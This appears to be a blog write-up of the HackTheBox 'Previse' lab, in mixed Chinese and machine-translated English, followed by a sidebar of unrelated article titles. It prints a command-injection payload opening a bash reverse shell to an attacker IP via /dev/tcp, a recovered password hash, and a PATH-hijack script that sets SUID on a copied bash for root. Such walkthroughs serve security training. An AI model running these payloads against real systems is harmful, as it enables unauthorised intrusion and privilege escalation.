当前位置:网站首页>HackTheBox | Previse
HackTheBox | Previse
2022-08-08 13:33:00 【xxL7-】
Previse
nmap扫描,开放22、80.
访问80,是一个登录页面
dirsearch扫扫,It belongs to nothing
wpsweep outnav.php
Click on these links,The discovery jumped tologin.php.
使用bp抓包,不会自动跳转;看到了accounts.php
的内容
According to the fanciful form,提交POST请求,创建新用户
Successfully logged in with the created user
找到一个SITEBACKUP.ZIP
下载之后在config.php
Found a pair of accountsroot\[email protected]!:)

在logs.php
中发现exec
函数,该函数将接收delim
传来的参数,并执行
对应页面为
bp抓包,修改delim的值
;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/1234 0>&1';
url编码后发包
拿到反弹shell
检查/etc/passwd
文件,存在用户m4lwhere
Find what's in the database,得到m4lwhere的hash后的密码$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
,其中包含一个salt值
在login.php
Find the relevant code in ,According to the code can be used$1$🧂llol$
作为saltEncrypted password,Got the string in the database
使用john跑一下密码
ssh登录
sudo -l
检查,可以执行/opt/scripts/access_backup.sh
不出意料,Does not have write permission
检查文件内容,It is found that the access log is being backed up
The right to escalate method is directly readwp,理解了一下,不是很难,Probably the hijacking of environment variables
在Linux中执行命令时,会按照$PATH
Go to each folder one by one in order to find if there is an executable program with a matching name,可以使用echo $PATH
查看
Take the above execution result as an example,如果在/usr/local/sbin
和/usr/local/bin
There is one belowbash
可执行文件,那么就会先使用/usr/local/sbin/bash
;如果/usr/local/sbin
中不存在bash
,will continue to search backwards,Until you find a folder called bash
的文件.
在这题中,使用如下命令将/tmp
directory as a newly added environment variable directory
export PATH=/tmp:$PATH
然后在/tmp目录下创建了一个gzip文件,文件中写入
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4755 /tmp/bash
Here it is used again4755
这个特殊权限,将/tmp/bash的SUID置位,那么在运行/tmp/bash的时候,It will run with the permissions of the owner of the file.
需要注意的是,To be newly createdgzip文件添加可执行权限
chmod +x gzip
然后使用sudo执行脚本,It will be found after the execution is complete/tmp目录下多了一个bash文件
执行bash -p
,You can see the current user is stillm4lwhere,但是euid
已变成0
,That is, the current process owns itroot用户的权限,从而完成提权
边栏推荐
- leetcode 155. Min Stack最小栈(中等)
- SQL的INSERT INTO和INSERT INTO SELECT语句
- 字符串函数、字符函数、内存函数的使用及其模拟实现
- php文件上传下载(存放文件二进制到数据库)
- 基于FPGA的FIR滤波器的实现(1)—采用fir1函数设计
- 如果Controller里有私有的方法,能成功访问吗?
- Jenkins - Introduction to Continuous Integration (1)
- R语言使用位置索引筛选dataframe的数据列:筛选单个数据列、筛选多个数据列、列表表达式方法、矩阵式下标方法
- (6)FlinkSQL将kafka数据写入到mysql方式一
- Kotlin系列之let、with、run、apply、also函数的使用
猜你喜欢
论文理解:“Self-adaptive loss balanced Physics-informed neural networks“
Docker-持久化数据库(数据卷)
哈佛大学砸场子:DALL-E 2只是「粘合怪」,生成正确率只有22%
化工行业数字化供应链系统:赋能化工企业高质量发展,促进上下游协同
优刻得“失速”:营收转降,定向增发股东浮亏超三成
《预训练周刊》第56期:长文本理解、即时问答、掩码自监督
干货满满,中科院信工所于静新课帮你get学术研究与论文写作技能
textarea 禁止拖拽
项目动态|Apache Pulsar 2.10.1 版本介绍
Flink1.15源码阅读——StreamGraph流图
随机推荐
第十二届蓝桥杯《杨辉三角》-二分法
HackTheBox | Previse
(5) FlinkSQL writes socket data to mysql Method 2
用 Antlr 重构脚本解释器
【C语言】文件相关操作
Docker - persistent database (data volume)
OFD是什么
Qt 在循环中超时跳出
【C语言】深度剖析数据在内存中的存储
使用单点登录 (SSO):便捷访问,降低风险,精简流程
腾讯,投了个 “离诺贝尔奖最近的华人”
【个人总结】2022.8.7周结
字符串函数、字符函数、内存函数的使用及其模拟实现
Flink1.15源码阅读——StreamGraph流图
textarea 禁止拖拽
使用.NET简单实现一个Redis的高性能克隆版(三)
curl获取harbor镜像仓库项目下的镜像列表
如何对用户输入进行校验
2022-08-05
Fluorite, millet against smart camera